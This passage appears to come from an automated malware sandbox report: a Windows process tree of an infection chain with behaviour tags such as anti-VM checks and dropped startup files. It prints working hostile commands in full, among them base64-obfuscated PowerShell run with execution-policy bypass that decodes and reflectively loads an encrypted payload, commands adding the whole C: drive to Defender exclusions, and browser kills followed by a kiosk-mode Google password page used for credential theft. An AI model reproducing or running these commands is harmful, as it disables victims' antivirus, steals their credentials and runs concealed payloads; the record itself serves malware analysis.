wDQo=')) | Invoke-Expression"
                                                                                                                                            8⤵
                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                            • Drops startup file
                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                            PID:4812
                                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\'
                                                                                                                                              9⤵
                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                              PID:6252
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\10423280101\f338906a94.exe
                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\10423280101\f338906a94.exe"
                                                                                                                                        6⤵
                                                                                                                                          PID:4208
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\10423280101\f338906a94.exe"
                                                                                                                                            7⤵
                                                                                                                                              PID:8840
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\10423290101\413d012bdc.exe
                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\10423290101\413d012bdc.exe"
                                                                                                                                            6⤵
                                                                                                                                              PID:2900
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\10423290101\413d012bdc.exe"
                                                                                                                                                7⤵
                                                                                                                                                  PID:17164
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\10423300101\1f246afd6a.exe
                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\10423300101\1f246afd6a.exe"
                                                                                                                                                6⤵
                                                                                                                                                  PID:17684
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\10423310101\d6fe727bd6.exe
                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\10423310101\d6fe727bd6.exe"
                                                                                                                                                  6⤵
                                                                                                                                                    PID:24512
                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\10423320101\a871b1dac4.exe
                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\10423320101\a871b1dac4.exe"
                                                                                                                                                    6⤵
                                                                                                                                                      PID:8724
                                                                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                        taskkill /F /IM firefox.exe /T
                                                                                                                                                        7⤵
                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                        PID:23924
                                                                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                        taskkill /F /IM chrome.exe /T
                                                                                                                                                        7⤵
                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                        PID:24484
                                                                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                        taskkill /F /IM msedge.exe /T
                                                                                                                                                        7⤵
                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                        PID:9916
                                                                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                        taskkill /F /IM opera.exe /T
                                                                                                                                                        7⤵
                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                        PID:12124
                                                                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                        taskkill /F /IM brave.exe /T
                                                                                                                                                        7⤵
                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                        PID:12212
                                                                                                                                                      • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
                                                                                                                                                        7⤵
                                                                                                                                                          PID:12280
                                                                                                                                                          • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                            "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
                                                                                                                                                            8⤵
                                                                                                                                                              PID:12296
                                                                                                                                                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1900 -prefsLen 27099 -prefMapHandle 1984 -prefMapSize 270279 -ipcHandle 2072 -initialChannelId {611328f3-6ed1-4243-bb8e-30d09030b1e9} -parentPid 12296 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12296" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
                                                                                                                                                                9⤵
                                                                                                                                                                  PID:12520
                                                                                                                                                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2464 -prefsLen 27135 -prefMapHandle 2468 -prefMapSize 270279 -ipcHandle 2476 -initialChannelId {c8fa004a-02a7-49e5-a40e-ec98ecc519df} -parentPid 12296 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12296" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
                                                                                                                                                                  9⤵
                                                                                                                                                                    PID:12592
                                                                                                                                                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3852 -prefsLen 25213 -prefMapHandle 3856 -prefMapSize 270279 -jsInitHandle 3860 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3868 -initialChannelId {46d6adff-d5a1-4a77-8cf5-7af9ed97863e} -parentPid 12296 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12296" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
                                                                                                                                                                    9⤵
                                                                                                                                                                      PID:12856
                                                                                                                                                                    • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4060 -prefsLen 27325 -prefMapHandle 4064 -prefMapSize 270279 -ipcHandle 4136 -initialChannelId {0c5ab4c0-ce77-4715-8e8f-23b37de67916} -parentPid 12296 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12296" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
                                                                                                                                                                      9⤵
                                                                                                                                                                        PID:12888
                                                                                                                                                                      • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3296 -prefsLen 34824 -prefMapHandle 1596 -prefMapSize 270279 -jsInitHandle 3184 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2704 -initialChannelId {79a999d5-dd92-4729-93c1-781ec69b3a02} -parentPid 12296 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12296" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
                                                                                                                                                                        9⤵
                                                                                                                                                                          PID:13108
                                                                                                                                                                        • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 2824 -prefsLen 34905 -prefMapHandle 5056 -prefMapSize 270279 -ipcHandle 5064 -initialChannelId {094b6a3d-7c34-492d-84b5-d8f50a322780} -parentPid 12296 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12296" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
                                                                                                                                                                          9⤵
                                                                                                                                                                            PID:13536
                                                                                                                                                                          • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4688 -prefsLen 32952 -prefMapHandle 5636 -prefMapSize 270279 -jsInitHandle 5632 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3088 -initialChannelId {1959a0fd-d06d-47d5-9dba-76595808bdc2} -parentPid 12296 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12296" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
                                                                                                                                                                            9⤵
                                                                                                                                                                              PID:14696
                                                                                                                                                                            • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5840 -prefsLen 32952 -prefMapHandle 5844 -prefMapSize 270279 -jsInitHandle 5848 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5636 -initialChannelId {7d55ef4a-a1fc-4f0a-82a3-e57045465460} -parentPid 12296 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12296" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
                                                                                                                                                                              9⤵
                                                                                                                                                                                PID:14716
                                                                                                                                                                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6000 -prefsLen 32952 -prefMapHandle 6004 -prefMapSize 270279 -jsInitHandle 6008 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6016 -initialChannelId {cb59bb27-1daa-4171-8ab4-a53de587c8cb} -parentPid 12296 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12296" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
                                                                                                                                                                                9⤵
                                                                                                                                                                                  PID:14720
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\10423330101\596353cd92.exe
                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\10423330101\596353cd92.exe"
                                                                                                                                                                            6⤵
                                                                                                                                                                              PID:23972
                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\10423340101\bb5a7a72a2.exe
                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\10423340101\bb5a7a72a2.exe"
                                                                                                                                                                              6⤵
                                                                                                                                                                                PID:15292
                                                                                                                                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                                                                                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                                                                                                                                  7⤵
                                                                                                                                                                                    PID:17236
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\10423350101\56faa003dc.exe
                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\10423350101\56faa003dc.exe"
                                                                                                                                                                                  6⤵
                                                                                                                                                                                    PID:8380
                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10423361121\izP7K34.cmd"
                                                                                                                                                                                    6⤵
                                                                                                                                                                                      PID:21788
                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\10423361121\izP7K34.cmd"
                                                                                                                                                                                        7⤵
                                                                                                                                                                                          PID:21712
                                                                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('DQoNCiR2bWVhcnAgPSBAJw0KJHVzZXJ4Z3dOYW1lIHhndz0gJGVueGd3djpVU0V4Z3dSTkFNRXhndzskdGlzeGd3ID0gIkN4Z3c6XFVzZXhnd3JzXCR1eGd3c2VyTmF4Z3dtZVxkd3hnd20uYmF0eGd3IjtpZiB4Z3coVGVzdHhndy1QYXRoeGd3ICR0aXN4Z3cpIHsgIHhndyAgV3JpeGd3dGUtSG94Z3dzdCAiQnhnd2F0Y2ggeGd3ZmlsZSB4Z3dmb3VuZHhndzogJHRpeGd3cyIgLUZ4Z3dvcmVncnhnd291bmRDeGd3b2xvciB4Z3dDeWFuO3hndyAgICAkeGd3ZmlsZUx4Z3dpbmVzIHhndz0gW1N5eGd3c3RlbS54Z3dJTy5GaXhnd2xlXTo6eGd3UmVhZEF4Z3dsbExpbnhnd2VzKCR0eGd3aXMsIFt4Z3dTeXN0ZXhnd20uVGV4eGd3dC5FbmN4Z3dvZGluZ3hnd106OlVUeGd3RjgpOyB4Z3cgICBmb3hnd3JlYWNoeGd3ICgkbGl4Z3duZSBpbnhndyAkZmlseGd3ZUxpbmV4Z3dzKSB7IHhndyAgICAgeGd3ICBpZiB4Z3coJGxpbnhnd2UgLW1heGd3dGNoICd4Z3deOjo6IHhndz8oLispeGd3JCcpIHt4Z3cgICAgIHhndyAgICAgeGd3ICBXcml4Z3d0ZS1Ib3hnd3N0ICJJeGd3bmplY3R4Z3dpb24gY3hnd29kZSBkeGd3ZXRlY3R4Z3dlZCBpbnhndyB0aGUgeGd3YmF0Y2h4Z3cgZmlsZXhndy4iIC1GeGd3b3JlZ3J4Z3dvdW5kQ3hnd29sb3IgeGd3Q3lhbjt4Z3cgICAgIHhndyAgICAgeGd3ICB0cnl4Z3cgeyAgIHhndyAgICAgeGd3ICAgICB4Z3cgICAkZHhnd2Vjb2RleGd3ZEJ5dGV4Z3dzID0gW3hnd1N5c3RleGd3bS5Db254Z3d2ZXJ0XXhndzo6RnJveGd3bUJhc2V4Z3c2NFN0cnhnd2luZygkeGd3bWF0Y2h4Z3dlc1sxXXhndy5UcmlteGd3KCkpOyB4Z3cgICAgIHhndyAgICAgeGd3ICAgICB4Z3ckaW5qZXhnd2N0aW9ueGd3Q29kZSB4Z3c9IFtTeXhnd3N0ZW0ueGd3VGV4dC54Z3dFbmNvZHhnd2luZ106eGd3OlVuaWN4Z3dvZGUuR3hnd2V0U3RyeGd3aW5nKCR4Z3dkZWNvZHhnd2VkQnl0eGd3ZXMpOyB4Z3cgICAgIHhndyAgICAgeGd3ICAgICB4Z3dXcml0ZXhndy1Ib3N0eGd3ICJJbmp4Z3dlY3Rpb3hnd24gY29keGd3ZSBkZWN4Z3dvZGVkIHhnd3N1Y2NleGd3c3NmdWx4Z3dseS4iIHhndy1Gb3JleGd3Z3JvdW54Z3dkQ29sb3hnd3IgR3JleGd3ZW47ICB4Z3cgICAgIHhndyAgICAgeGd3ICAgIFd4Z3dyaXRlLXhnd0hvc3QgeGd3IkV4ZWN4Z3d1dGluZ3hndyBpbmpleGd3Y3Rpb254Z3cgY29kZXhndy4uLiIgeGd3LUZvcmV4Z3dncm91bnhnd2RDb2xveGd3ciBZZWx4Z3dsb3c7IHhndyAgICAgeGd3ICAgICB4Z3cgICAgIHhnd0ludm9reGd3ZS1FeHB4Z3dyZXNzaXhnd29uICRpeGd3bmplY3R4Z3dpb25Db3hnd2RlOyAgeGd3ICAgICB4Z3cgICAgIHhndyAgICBieGd3cmVhazt4Z3cgICAgIHhndyAgICAgeGd3ICB9IGN4Z3dhdGNoIHhnd3sgICAgeGd3ICAgICB4Z3cgICAgIHhndyAgV3JpeGd3dGUtSG94Z3dzdCAiRXhnd3Jyb3IgeGd3ZHVyaW54Z3dnIGRlY3hnd29kaW5neGd3IG9yIGV4Z3d4ZWN1dHhnd2luZyBpeGd3bmplY3R4Z3dpb24gY3hnd29kZTogeGd3JF8iIC14Z3dGb3JlZ3hnd3JvdW5keGd3Q29sb3J4Z3cgUmVkO3hndyAgICAgeGd3ICAgICB4Z3cgIH07IHhndyAgICAgeGd3ICB9OyB4Z3cgICB9O3hnd30gZWxzeGd3ZSB7ICB4Z3cgICAgV3hnd3JpdGUteGd3SG9zdCB4Z3ciU3lzdHhnd2VtIEVyeGd3cm9yOiB4Z3dCYXRjaHhndyBmaWxleGd3IG5vdCB4Z3dmb3VuZHhndzogJHRpeGd3cyIgLUZ4Z3dvcmVncnhnd291bmRDeGd3b2xvciB4Z3dSZWQ7IHhndyAgIGV4eGd3aXQ7fTt4Z3dmdW5jdHhnd2lvbiBweGd3c29nbCh4Z3ckcGFyYXhnd21fdmFyeGd3KXsJJGF4Z3dlc192YXhnd3I9W1N5eGd3c3RlbS54Z3dTZWN1cnhnd2l0eS5DeGd3cnlwdG94Z3dncmFwaHhnd3kuQWVzeGd3XTo6Q3J4Z3dlYXRlKHhndyk7CSRheGd3ZXNfdmF4Z3dyLk1vZHhnd2U9W1N5eGd3c3RlbS54Z3dTZWN1cnhnd2l0eS5DeGd3cnlwdG94Z3dncmFwaHhnd3kuQ2lweGd3aGVyTW94Z3dkZV06Onhnd0NCQzsJeGd3JGFlc194Z3d2YXIuUHhnd2FkZGlueGd3Zz1bU3l4Z3dzdGVtLnhnd1NlY3VyeGd3aXR5LkN4Z3dyeXB0b3hnd2dyYXBoeGd3eS5QYWR4Z3dkaW5nTXhnd29kZV06eGd3OlBLQ1N4Z3c3OwkkYXhnd2VzX3ZheGd3ci5LZXl4Z3c9W1N5c3hnd3RlbS5DeGd3b252ZXJ4Z3d0XTo6Rnhnd3JvbUJheGd3c2U2NFN4Z3d0cmluZ3hndygnVUNEeGd3ZFZ6U3Z4Z3dDMUNvOXhnd1VWb1B1eGd3RXRvVWR4Z3duNzZsQ3hndytPV0tJeGd3OG5qRGV4Z3dxTDZ4MHhndz0nKTsJeGd3JGFlc194Z3d2YXIuSXhnd1Y9W1N5eGd3c3RlbS54Z3dDb252ZXhnd3J0XTo6eGd3RnJvbUJ4Z3dhc2U2NHhnd1N0cmlueGd3ZygnK2F4Z3cvRHp3NHhnd1ZRR1g3eGd3L1J0Y0h4Z3dQQkpWd3hndz09Jyk7eGd3CSRkZWN4Z3dyeXB0b3hnd3JfdmFyeGd3PSRhZXN4Z3dfdmFyLnhnd0NyZWF0eGd3ZURlY3J4Z3d5cHRvcnhndygpOwkkeGd3cmV0dXJ4Z3duX3Zhcnhndz0kZGVjeGd3cnlwdG94Z3dyX3Zhcnhndy5UcmFueGd3c2Zvcm14Z3dGaW5hbHhnd0Jsb2NreGd3KCRwYXJ4Z3dhbV92YXhnd3IsIDAseGd3ICRwYXJ4Z3dhbV92YXhnd3IuTGVueGd3Z3RoKTt4Z3cJJGRlY3hnd3J5cHRveGd3cl92YXJ4Z3cuRGlzcHhnd29zZSgpeGd3OwkkYWV4Z3dzX3Zhcnhndy5EaXNweGd3b3NlKCl4Z3c7CSRyZXhnd3R1cm5feGd3dmFyO314Z3dmdW5jdHhnd2lvbiBzeGd3dGF4cCh4Z3ckcGFyYXhnd21fdmFyeGd3KXsJJGh4Z3dwaGM9Tnhnd2V3LU9ieGd3amVjdCB4Z3dTeXN0ZXhnd20uSU8ueGd3TWVtb3J4Z3d5U3RyZXhnd2FtKCwkeGd3cGFyYW14Z3dfdmFyKXhndzsJJGlzeGd3d2hiPU54Z3dldy1PYnhnd2plY3QgeGd3U3lzdGV4Z3dtLklPLnhnd01lbW9yeGd3eVN0cmV4Z3dhbTsJJHhnd2Zsc2l6eGd3PU5ldy14Z3dPYmplY3hnd3QgU3lzeGd3dGVtLkl4Z3dPLkNvbXhnd3ByZXNzeGd3aW9uLkd4Z3daaXBTdHhnd3JlYW0oeGd3JGhwaGN4Z3csIFtJT3hndy5Db21weGd3cmVzc2l4Z3dvbi5Db3hnd21wcmVzeGd3c2lvbk14Z3dvZGVdOnhndzpEZWNveGd3bXByZXN4Z3dzKTsJJHhnd2Zsc2l6eGd3LkNvcHl4Z3dUbygkaXhnd3N3aGIpeGd3OwkkZmx4Z3dzaXouRHhnd2lzcG9zeGd3ZSgpOwl4Z3ckaHBoY3hndy5EaXNweGd3b3NlKCl4Z3c7CSRpc3hnd3doYi5EeGd3aXNwb3N4Z3dlKCk7CXhndyRpc3doeGd3Yi5Ub0F4Z3dycmF5KHhndyk7fWZ1eGd3bmN0aW94Z3duIGhlenhnd2d4KCRweGd3YXJhbV94Z3d2YXIsJHhnd3BhcmFteGd3Ml92YXJ4Z3cpewkkbnhnd3g9W1N5eGd3c3RlbS54Z3dSZWZsZXhnd2N0aW9ueGd3LkFzc2V4Z3dtYmx5XXhndzo6KCdkeGd3YW9MJ1t4Z3ctMS4uLXhndzRdIC1qeGd3b2luICd4Z3cnKShbYnhnd3l0ZVtdeGd3XSRwYXJ4Z3dhbV92YXhnd3IpOwkkeGd3bGF6PSR4Z3dueC5Fbnhnd3RyeVBveGd3aW50Owl4Z3ckbGF6Lnhnd0ludm9reGd3ZSgkbnV4Z3dsbCwgJHhnd3BhcmFteGd3Ml92YXJ4Z3cpO30kaHhnd29zdC5VeGd3SS5SYXd4Z3dVSS5XaXhnd25kb3dUeGd3aXRsZSB4Z3c9ICR0aXhnd3M7JGxveGd3Zj1bU3l4Z3dzdGVtLnhnd0lPLkZpeGd3bGVdOjp4Z3coJ3R4ZXhnd1RsbEFkeGd3YWVSJ1t4Z3ctMS4uLXhndzExXSAteGd3am9pbiB4Z3cnJykoJHhnd3RpcykueGd3U3BsaXR4Z3coW0Vudnhnd2lyb25teGd3ZW50XTp4Z3c6TmV3THhnd2luZSk7eGd3Zm9yZWF4Z3djaCAoJHhnd3pwamxweGd3IGluICR4Z3dsb2YpIHhnd3sJaWYgeGd3KCR6cGp4Z3dscC5TdHhnd2FydHNXeGd3aXRoKCd4Z3c6OiAnKXhndykJewkJeGd3JGdxYnN4Z3c9JHpwanhnd2xwLlN1eGd3YnN0cml4Z3duZygzKXhndzsJCWJyeGd3ZWFrOwl4Z3d9fSRpdXhnd3A9W3N0eGd3cmluZ1t4Z3ddXSRncXhnd2JzLlNweGd3bGl0KCd4Z3dcJyk7JHhnd25sdD1zeGd3dGF4cCB4Z3cocHNvZ3hnd2wgKFtDeGd3b252ZXJ4Z3d0XTo6Rnhnd3JvbUJheGd3c2U2NFN4Z3d0cmluZ3hndygkaXVweGd3WzBdKSl4Z3cpOyRqZXhnd2J0PXN0eGd3YXhwICh4Z3dwc29nbHhndyAoW0NveGd3bnZlcnR4Z3ddOjpGcnhnd29tQmFzeGd3ZTY0U3R4Z3dyaW5nKHhndyRpdXBbeGd3MV0pKSl4Z3c7aGV6Z3hnd3ggJG5seGd3dCAkbnV4Z3dsbDtoZXhnd3pneCAkeGd3amVidCB4Z3coLFtzdHhnd3JpbmdbeGd3XV0gKCd4Z3clKicpKXhndzsNCidADQoNCiRybGpmcnAgPSAkdm1lYXJwIC1yZXBsYWNlICd4Z3cnLCAnJw0KDQpJbnZva2UtRXhwcmVzc2lvbiAkcmxqZnJwDQo=')) | Invoke-Expression"
                                                                                                                                                                                            8⤵
                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                            PID:21152
                                                                                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\'
                                                                                                                                                                                              9⤵
                                                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                              PID:752
                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\10423370101\PJ7KEk9.exe
                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\10423370101\PJ7KEk9.exe"
                                                                                                                                                                                        6⤵
                                                                                                                                                                                          PID:10800
                                                                                                                                                                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                                                                                                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                                                                                                                                            7⤵
                                                                                                                                                                                              PID:10752
                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\10423380101\Rm3cVPI.exe
                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\10423380101\Rm3cVPI.exe"
                                                                                                                                                                                            6⤵
                                                                                                                                                                                              PID:2668
                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                                                                                                                                    1⤵
                                                                                                                                                                                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                    • Identifies Wine through registry keys
                                                                                                                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                    PID:1936
                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
                                                                                                                                                                                    1⤵
                                                                                                                                                                                      PID:5876
                                                                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                                                                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                                                                                                                                                                      1⤵
                                                                                                                                                                                        PID:2336
                                                                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
                                                                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
                                                                                                                                                                                        1⤵
                                                                                                                                                                                          PID:5692
                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                                                                                                                                          1⤵
                                                                                                                                                                                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                                                                                          • Checks BIOS information in registry
                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                          • Identifies Wine through registry keys
                                                                                                                                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                          PID:6092
                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
                                                                                                                                                                                          1⤵
                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                          PID:712
                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                          powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc YQBEAEQALQBNAFAAcABSAGUAZgBFAHIAZQBuAEMARQAgAC0AZQB4AGMATAB1AFMASQBPAG4AcABhAHQASAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAVAB5AHAAZQBJAGQAXABBAHQAdAByAGkAYgB1AHQAZQBzAC4AZQB4AGUALABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXAAsAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABNAGkAYwByAG8AcwBvAGYAdAAuAE4ARQBUAFwARgByAGEAbQBlAHcAbwByAGsANgA0AFwAdgA0AC4AMAAuADMAMAAzADEAOQBcAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzAC4AZQB4AGUALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcACAALQBmAE8AUgBjAGUAOwAgAGEAZABEAC0ATQBQAHAAUgBlAEYARQByAEUAbgBjAEUAIAAtAEUAWABjAEwAdQBzAGkAbwBOAFAAcgBPAGMAZQBTAHMAIABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABUAHkAcABlAEkAZABcAEEAdAB0AHIAaQBiAHUAdABlAHMALgBlAHgAZQAgAC0ARgBPAHIAQwBFAA==
                                                                                                                                                                                          1⤵
                                                                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                          PID:5664
                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\lt0Edgvx\ZcA91yJLSNmR6Rzg.exe
                                                                                                                                                                                          1⤵
                                                                                                                                                                                            PID:3436
                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\lt0Edgvx\ZcA91yJLSNmR6Rzg.exe
                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\lt0Edgvx\ZcA91yJLSNmR6Rzg.exe
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:8872
                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\VgRF1QF8\uDLuZ1eaAhJC4QRs.exe
                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\VgRF1QF8\uDLuZ1eaAhJC4QRs.exe 8872
